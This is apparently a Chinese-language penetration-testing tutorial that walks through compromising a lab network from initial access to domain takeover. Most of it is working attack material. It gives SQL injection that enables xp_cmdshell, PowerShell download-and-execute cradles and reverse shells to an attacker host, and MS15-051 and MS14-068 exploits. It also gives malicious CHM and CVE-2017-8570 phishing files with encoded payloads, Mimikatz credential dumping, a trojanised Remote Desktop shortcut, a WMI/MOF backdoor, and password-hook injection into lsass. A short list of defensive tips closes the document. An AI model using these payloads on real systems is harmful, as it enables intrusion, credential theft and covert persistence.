渗透测试实战教学文档

0x01 前渗透阶段

网络拓扑分析

• 外网网段: 10.101.101.0/24
• 应用服务器内网: 192.168.101.0/24
• 办公内网: 192.168.111.0/24
• 访问规则:
  • 企业内网可无限制访问外网，外网无法访问内网
  • 办公网可无限制访问应用服务器网络，反之不行

初始信息收集

1. 端口扫描发现目标10.101.101.13开放80、82端口，系统为Win2008
2. SQL注入检测:
   • 版本探测: http://10.101.101.13/?page=1 and @@version>0 --
   • 权限检测: http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' -- (有延时表示DBA权限)

利用SQL注入获取系统权限

1. 启用xp_cmdshell:

   EXEC sp_configure 'show advanced options',1;RECONFIGURE;
   EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;
   

2. 创建临时表执行命令:

   create table temp(id int identity(1,1),a varchar(8000));
   insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';
   

3. 读取命令结果:
   http://10.101.101.13/?page=1 and (select substring((select a from temp for xml auto),1,4000))>0--

反弹Shell尝试

1. 使用Nishang的PowerShell TCP反弹脚本:

   exec master..xp_cmdshell 'powershell IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.13/Invoke-PowerShellTcp.ps1");Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.13 -port 8888';
   

提权尝试

1. 使用ms15-051漏洞:

   IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');
   Invoke-ReflectivePEInjection -PEUrl http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA
   

内网探测

1. 使用Metasploit模块:
   • use auxiliary/scanner/smb/smb_version 扫描SMB服务
   • use auxiliary/scanner/portscan 扫描端口

82端口发现

1. 发现后台弱口令，进入后修改静态页面存储路径为1.asp
2. 插入木马代码，重新生成静态页面获取WebShell

钓鱼攻击准备

1. CVE-2017-8570漏洞利用:

   • 生成恶意ppsx文件:

     python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/logo.doc
     

   • 启动漏洞利用服务:

     python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16
     

2. 恶意CHM文件制作:

   • 使用Easy CHM制作包含恶意代码的CHM文件
   • 代码示例:

     <OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 height=1>
       <PARAM name="Command" value="ShortCut">
       <PARAM name="Button" value="Bitmap::shortcut">
       <PARAM name="Item1" value=",rundll32.exe,javascript:'\..\mshtml,RunHTMLApplication';new%20ActiveXObject('WScript.Shell').Run('cmd /c powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA==',0,false);self.close();',0,false);">
     </OBJECT>
     

3. 伪造邮件发送:

   • 使用swaks工具发送钓鱼邮件

0x02 后渗透阶段

权限提升

1. Mimikatz使用:

   IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');
   Invoke-Mimikatz
   

持久化控制

1. 恶意快捷方式制作:
   • 替换远程桌面快捷方式
   • 隐藏执行键盘记录和屏幕截图
   • 代码示例:

     $WshShell = New-Object -comObject WScript.Shell
     $Shortcut = $WshShell.CreateShortcut("$Home\Desktop\Remote Desktop.lnk")
     $Shortcut.TargetPath = "C:\Windows\System32\rundll32.exe"
     $Shortcut.Arguments = 'javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("cmd /c powershell -nop -w hidden -c IEX ((new-object net.webclient).downloadstring(''http://10.101.101.16/rlnk.ps1''))",0,true);self.close();'
     $Shortcut.IconLocation = "C:\Windows\system32\SHELL32.dll,21"
     $Shortcut.Save()
     

域渗透

1. MS14-068漏洞利用:

   goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com
   

2. 64位PowerShell反弹:

   C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888
   

后门安装

1. WMI持久化后门:

   • 使用mof文件每分钟执行一次payload
   • 示例mof文件:

     <?xml version="1.0"?>
     <package>
       <component id="testCalc">
         <script language="JScript">
           <![CDATA[
             var r = new ActiveXObject("WScript.Shell").Run("powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAxADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA==",0,true);
           ]]>
         </script>
       </component>
     </package>
     

2. 密码更改监控:

   • 使用HookPasswordChangeNotify技术
   • 代码示例:

     IEX (New-Object System.Net.WebClient).DownloadString("http://10.101.101.16/HookPasswordChangeNotify.ps1")
     Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass
     

关键工具和资源

1. 工具集合:

   • Nishang: https://github.com/samratashok/nishang
   • PowerSploit: https://github.com/PowerShellMafia/PowerSploit
   • CVE-2017-8570利用工具: https://github.com/niexinming/safe_tool

2. 参考文章:

   • CVE-2017-8570分析: http://www.freebuf.com/vuls/144054.html
   • MS14-068利用: http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note
   • WMI后门: http://www.moonsec.com/post-621.html

防御建议

1. 及时安装系统补丁
2. 禁用不必要的系统功能如xp_cmdshell
3. 加强密码策略，避免弱口令
4. 限制PowerShell执行权限
5. 监控WMI事件和异常进程
6. 教育员工识别钓鱼攻击
7. 实施网络分段和访问控制